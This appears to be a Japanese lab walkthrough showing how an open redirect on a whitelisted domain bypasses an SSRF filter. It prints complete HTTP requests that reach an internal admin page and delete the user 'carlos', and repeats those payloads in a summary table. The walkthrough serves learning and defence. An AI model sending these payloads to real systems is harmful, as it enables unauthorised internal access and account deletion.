Hello there, ('ω')ノ
一部のアプリケーションでは、SSRF対策としてホワイトリスト型のURLフィルタを実装 しています。
しかし、そのホワイトリスト内のドメインにオープンリダイレクション(Open Redirect)脆弱性がある場合、SSRFフィルタをバイパスできる可能性があります。
1. オープンリダイレクションとは?
オープンリダイレクションとは、攻撃者が自由に指定したURLへリダイレクトできる脆弱性 のことです。
多くのWebアプリでは、次のようなパラメータを使ってリダイレクトを処理しています。
🔹 例:オープンリダイレクションが発生するURL
https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
✅ このリクエストを実行すると、http://evil-user.net
へリダイレクトされる。
2. オープンリダイレクションを使ったSSRF回避
▶ アプリケーションのフィルタの動作
✅ stockApi
の値は weliketoshop.net
を含んでいれば許可される
✅ しかし、weliketoshop.net
にはオープンリダイレクションの脆弱性がある
✅ バックエンドのHTTPクライアントがリダイレクトを自動フォローするなら、SSRFを実行可能!
3. 攻撃手順
① SSRFリクエストを作成
stockApi
の値に、オープンリダイレクションのURLを指定し、内部管理ページにリダイレクトさせる。
▶ SSRFリクエスト
POST /product/stock HTTP/1.0 Host: weliketoshop.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
🔹 このリクエストの流れ:
1. アプリケーションは weliketoshop.net
を含むため、フィルタを通過
2. /product/nextProduct
にリクエストが送られる
3. path=http://192.168.0.68/admin
により、管理ページにリダイレクト
4. バックエンドのHTTPクライアントがリダイレクトをフォローし、内部の http://192.168.0.68/admin
にアクセス!
✅ 成功すると、レスポンスに /admin
のHTMLが含まれる可能性がある!
4. ユーザー削除リクエストを実行
レスポンスのHTMLを解析し、削除リクエストのパスを特定します。
例えば、次のようなリンクがあるとします。
<a href="/admin/delete?username=carlos">Delete carlos</a>
▶ SSRFリクエストでユーザーを削除
POST /product/stock HTTP/1.0 Host: weliketoshop.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin/delete?username=carlos
✅ このリクエストが成功すれば、「carlos」ユーザーが削除される!
✅ ラボクリア!🎉
5. まとめ
回避手法 | 攻撃例 |
---|---|
オープンリダイレクションの悪用 | stockApi=http://weliketoshop.net/product/nextProduct?path=http://192.168.0.68/admin |
リダイレクト先を内部管理ページに変更 | path=http://192.168.0.68/admin/delete?username=carlos |
🚨 オープンリダイレクションの脆弱性があると、SSRFフィルタを簡単に回避できる!
🚀 適切な対策として、オープンリダイレクションを防ぐためのチェックを実装することが重要!
Best regards, (^^ゞ